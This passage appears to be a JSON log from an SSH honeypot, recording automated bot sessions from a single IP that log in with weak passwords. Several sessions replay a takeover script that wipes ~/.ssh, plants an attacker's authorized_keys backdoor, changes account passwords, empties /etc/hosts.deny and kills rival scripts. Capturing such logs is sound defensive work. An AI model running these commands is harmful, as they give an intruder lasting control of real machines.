node\n^C"},{"seq":25,"at":"2026-08-27T13:03:58.590683+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T13:04:00.115747+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T13:04:00.446461+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T13:04:01.605143+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T13:04:01.935176+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T13:04:03.481574+00:00","kind":"output","latency_ms":null,"data":"user"},{"seq":31,"at":"2026-08-27T13:04:03.806955+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T13:04:05.091423+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T13:04:05.419849+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T13:04:06.501188+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"user","password":"user123456","method":"password","accepted":true,"tier":"other"}]} {"id":"faf1093c-fbe7-455c-ae5a-153e480dd1f5","name":"regal-tranquil-warbler","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":47534,"username":"user","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:03:38.522792+00:00","ended_at":"2026-08-27T13:03:40.356568+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"user","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"75512b79-b954-4daf-8ed2-8f19930adb99","name":"muted-ivory-catbird","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":47526,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:03:36.856359+00:00","ended_at":"2026-08-27T13:03:37.869941+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"b2ada6f7-2f54-4666-b63f-64729d310e48","name":"amber-seaward-civet","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":47530,"username":"suraj","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":328,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:02:03.274397+00:00","ended_at":"2026-08-27T13:02:04.383362+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2250,"events":[{"seq":1,"at":"2026-08-27T13:01:38.034695+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T13:01:38.365718+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T13:01:42.126480+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T13:01:43.742558+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T13:01:44.069726+00:00","kind":"input","latency_ms":null,"data":"echo -e \"suraj\\n3srByThT8ln1\\n3srByThT8ln1\"|passwd|bash"},{"seq":6,"at":"2026-08-27T13:01:44.398890+00:00","kind":"input","latency_ms":null,"data":"echo \"suraj\\n3srByThT8ln1\\n3srByThT8ln1\\n\"|passwd"},{"seq":7,"at":"2026-08-27T13:01:44.729226+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T13:01:45.804839+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T13:01:46.006644+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T13:01:46.193316+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T13:01:46.521629+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T13:01:48.421669+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T13:01:48.751629+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T13:01:50.378676+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T13:01:50.706962+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T13:01:51.859768+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T13:01:52.188259+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T13:01:52.998600+00:00","kind":"output","latency_ms":null,"data":" 13:01:52 up 7 days, 9:51, 0 user, load average: 0.07, 0.07, 0.07\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T13:01:53.326660+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T13:01:55.077436+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T13:01:55.408382+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T13:01:55.753411+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T13:01:56.083956+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T13:01:58.261465+00:00","kind":"output","latency_ms":null,"data":"top - 13:01:58 up 7 days, 9:52, 0 user, load average: 0.07, 0.07, 0.07\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T13:01:58.585116+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T13:01:59.077770+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T13:01:59.408605+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T13:02:00.094142+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T13:02:00.427623+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T13:02:01.229660+00:00","kind":"output","latency_ms":null,"data":"suraj"},{"seq":31,"at":"2026-08-27T13:02:01.559091+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T13:02:02.947769+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T13:02:03.275146+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T13:02:04.286685+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"suraj","password":"suraj","method":"password","accepted":true,"tier":"other"}]} {"id":"4e8cccf0-f1d9-4dac-8c76-75c2917cbf7d","name":"golden-blithe-bobcat","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":40198,"username":"suraj","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:01:41.155940+00:00","ended_at":"2026-08-27T13:01:42.030400+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"suraj","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"0e10a966-e349-401c-acab-556c4b3c698b","name":"snowy-crimson-catbird","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":47534,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T13:01:39.111115+00:00","ended_at":"2026-08-27T13:01:40.495591+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"a5fda80f-7664-41f9-a4b0-921f3cd98379","name":"russet-mindful-stork","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":45620,"username":"admin1","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":327,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T13:00:00.983466+00:00","ended_at":"2026-08-27T13:00:02.535592+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2261,"events":[{"seq":1,"at":"2026-08-27T12:59:42.408825+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:59:42.734243+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:59:46.495138+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:59:46.862503+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:59:47.187311+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1233218613\\ns2B2DVXiuUhZ\\ns2B2DVXiuUhZ\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:59:47.515303+00:00","kind":"input","latency_ms":null,"data":"echo \"1233218613\\ns2B2DVXiuUhZ\\ns2B2DVXiuUhZ\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:59:47.842810+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:59:48.701113+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:59:49.027260+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:59:50.083201+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:59:50.411437+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:59:51.352294+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:59:51.680089+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:59:52.281364+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:59:52.919497+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:59:53.501344+00:00","kind":"output","latency_ms":null,"data":" 12:59:53 up 7 days, 9:50, 0 user, load average: 0.21, 0.19, 0.25\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:59:53.828426+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:59:54.495955+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:59:54.823392+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:59:55.579186+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:59:55.906100+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:59:56.547692+00:00","kind":"output","latency_ms":null,"data":"top - 12:59:56 up 7 days, 9:50, 0 user, load average: 0.21, 0.19, 0.25\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:59:56.874302+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:59:57.445457+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:59:57.773543+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:59:58.080366+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:59:58.407938+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:59:59.235696+00:00","kind":"output","latency_ms":null,"data":"admin1"},{"seq":29,"at":"2026-08-27T12:59:59.563415+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T13:00:00.656796+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T13:00:00.984689+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T13:00:02.436710+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"admin1","password":"1233218613","method":"password","accepted":true,"tier":"other"}]} {"id":"64c9ac26-c36e-4ab0-9ec3-98bbcdf0d433","name":"tidal-fringed-stonechat","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":45646,"username":"admin1","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:59:45.776744+00:00","ended_at":"2026-08-27T12:59:46.386320+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"admin1","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"d91355f6-8367-41ae-9882-ce106b0ff799","name":"arctic-mellow-francolin","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":45630,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:59:43.485539+00:00","ended_at":"2026-08-27T12:59:45.122735+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"f5766448-702a-4f7c-9da4-fc116ddb10dc","name":"deft-civil-numbat","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":56116,"username":"camera","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":327,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:57:58.327929+00:00","ended_at":"2026-08-27T12:57:59.404784+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2247,"events":[{"seq":1,"at":"2026-08-27T12:57:41.018908+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:57:41.347206+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:57:44.555573+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:57:45.286247+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:57:45.611327+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\n3MgKl9riQBlH\\n3MgKl9riQBlH\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:57:45.938800+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\n3MgKl9riQBlH\\n3MgKl9riQBlH\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:57:46.266030+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:57:46.633552+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:57:46.960389+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:57:48.011951+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:57:48.344527+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:57:49.646606+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:57:49.977095+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:57:50.678277+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:57:51.006145+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:57:51.742200+00:00","kind":"output","latency_ms":null,"data":" 12:57:51 up 7 days, 9:47, 0 user, load average: 0.14, 0.14, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:57:52.069187+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:57:52.332775+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:57:52.659296+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:57:53.133155+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:57:53.461299+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:57:53.785593+00:00","kind":"output","latency_ms":null,"data":"top - 12:57:53 up 7 days, 9:48, 0 user, load average: 0.14, 0.14, 0.15\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6355 free, 9532 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:57:54.113612+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:57:54.665647+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:57:54.994201+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:57:55.248545+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:57:55.575271+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:57:56.357401+00:00","kind":"output","latency_ms":null,"data":"camera"},{"seq":29,"at":"2026-08-27T12:57:56.681098+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:57:58.003795+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:57:58.328562+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:57:59.307835+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"camera","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"1f017aa2-1cad-41cc-b267-6b06f8c2d2ee","name":"lanky-electric-lorikeet","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":56136,"username":"camera","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:57:43.404175+00:00","ended_at":"2026-08-27T12:57:44.458386+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"camera","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"e3b27f9e-6ed6-4196-a2e2-18434252e9cc","name":"golden-marbled-chinchilla","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":56130,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:57:42.095852+00:00","ended_at":"2026-08-27T12:57:42.753286+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"dbd209f5-dc7b-4904-92d7-6615076b6410","name":"alpine-patient-lynx","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":53752,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":328,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:56:01.232088+00:00","ended_at":"2026-08-27T12:56:03.197873+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:55:42.302904+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:55:42.630131+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:55:46.150078+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:55:46.612410+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:55:46.937833+00:00","kind":"input","latency_ms":null,"data":"echo \"root:q9yuE7KU4FUe\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:55:47.267670+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:55:47.594721+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:55:48.074033+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:55:48.400990+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, 